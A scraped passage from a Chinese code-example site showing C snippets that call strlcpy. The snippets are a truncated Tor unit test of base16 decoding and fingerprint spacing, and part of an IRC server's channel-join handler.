"/xf0/xd6/x78/xaf/xfc/x00/x01/x00",8);  /* now try some failing base16 decodes */  test_eq(-1, base16_decode(data2, 8, data1, 15)); /* odd input len */  test_eq(-1, base16_decode(data2, 7, data1, 16)); /* dest too short */  strlcpy(data1, "f0dz!8affc000100", 1024);  test_eq(-1, base16_decode(data2, 8, data1, 16));  tor_free(data1);  tor_free(data2);  tor_free(data3);  /* Add spaces to fingerprint */  {    data1 = tor_strdup("ABCD1234ABCD56780000ABCD1234ABCD56780000");    test_eq(strlen(data1), 40);    data2 = tor_malloc(FINGERPRINT_LEN+1);    add_spaces_to_fp(data2, FINGERPRINT_LEN+1, data1);    test_streq(data2, "ABCD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 0000");    tor_free(data1);    tor_free(data2);  }//.........这里部分代码省略.........
开发者ID:alexwykoff,项目名称:tor,代码行数:101,


示例12: m_join

//.........这里部分代码省略.........	{	  sendto_one(source_p, form_str(ERR_UNAVAILRESOURCE),		     me.name, parv[0], name);	  if(successful_join_count > 0)	    successful_join_count--;	  continue;	}    if (!IsOper(source_p))     check_spambot_warning(source_p, name);            /* can_join checks for +i key, bans etc */      if ( (i = can_join(source_p, chptr, key)) )	{	  sendto_one(source_p,		     form_str(i), me.name, parv[0], name);	  if(successful_join_count > 0)	    successful_join_count--;	  continue;	}      /* add the user to the channel */      add_user_to_channel(chptr, source_p, flags);      /* we send the user their join here, because we could have to       * send a mode out next.       */      sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%[email
C++ strlcpy函数代码示例
C++ strjoina函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。